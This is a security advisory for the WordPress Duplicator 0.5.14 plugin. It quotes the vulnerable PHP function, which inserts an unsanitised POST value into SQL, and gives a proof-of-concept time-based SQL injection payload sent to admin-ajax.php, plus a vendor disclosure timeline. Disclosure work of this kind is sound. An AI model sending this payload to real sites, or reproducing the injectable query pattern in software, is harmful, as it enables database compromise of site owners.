WordPress Duplicator 0.5.14 Cross Site Request Forgery / SQL Injection

2015.04.11
Risk: Medium
Local: No
Remote: Yes
CVE: N/A

?###################### # Exploit Title : Wordpress Duplicator <= 0.5.14 - SQL Injection & CSRF # Exploit Author : Claudio Viviani # Vendor Homepage : http://lifeinthegrid.com/labs/duplicator/ # Software Link : https://downloads.wordpress.org/plugin/duplicator.0.5.14.zip # Date : 2015-04-08 # Tested on : Linux / Mozilla Firefox ###################### # Description Wordpress Duplicator 0.5.14 suffers from remote SQL Injection Vulnerability Location file: /view/actions.php This is the bugged ajax functions wp_ajax_duplicator_package_delete: function duplicator_package_delete() { DUP_Util::CheckPermissions('export'); try { global $wpdb; $json = array(); $post = stripslashes_deep($_POST); $tblName = $wpdb->prefix . 'duplicator_packages'; $postIDs = isset($post['duplicator_delid']) ? $post['duplicator_delid'] : null; $list = explode(",", $postIDs); $delCount = 0; if ($postIDs != null) { foreach ($list as $id) { $getResult = $wpdb->get_results("SELECT name, hash FROM `{$tblName}` WHERE id = {$id}", ARRAY_A); if ($getResult) { $row = $getResult[0]; $nameHash = "{$row['name']}_{$row['hash']}"; $delResult = $wpdb->query("DELETE FROM `{$tblName}` WHERE id = {$id}"); if ($delResult != 0) { $post['duplicator_delid'] variable is not sanitized A authorized user with "export" permission or a remote unauthenticated attacker could use this vulnerability to execute arbitrary SQL queries on the victim WordPress web site by enticing an authenticated admin (CSRF) ###################### # PoC http://target/wp-admin/admin-ajax.php?action=duplicator_package_delete POST: duplicator_delid=1 and (select * from (select(sleep(20)))a) ###################### # Vulnerability Disclosure Timeline: 2015-04-08: Discovered vulnerability 2015-04-08: Vendor Notification 2015-04-09: Vendor Response/Feedback 2015-04-10: Vendor Send Fix/Patch 2015-04-10: Public Disclosure ####################### Discovered By : Claudio Viviani http://www.homelab.it http://ffhd.homelab.it (Free Fuzzy Hashes Database) info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww #####################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top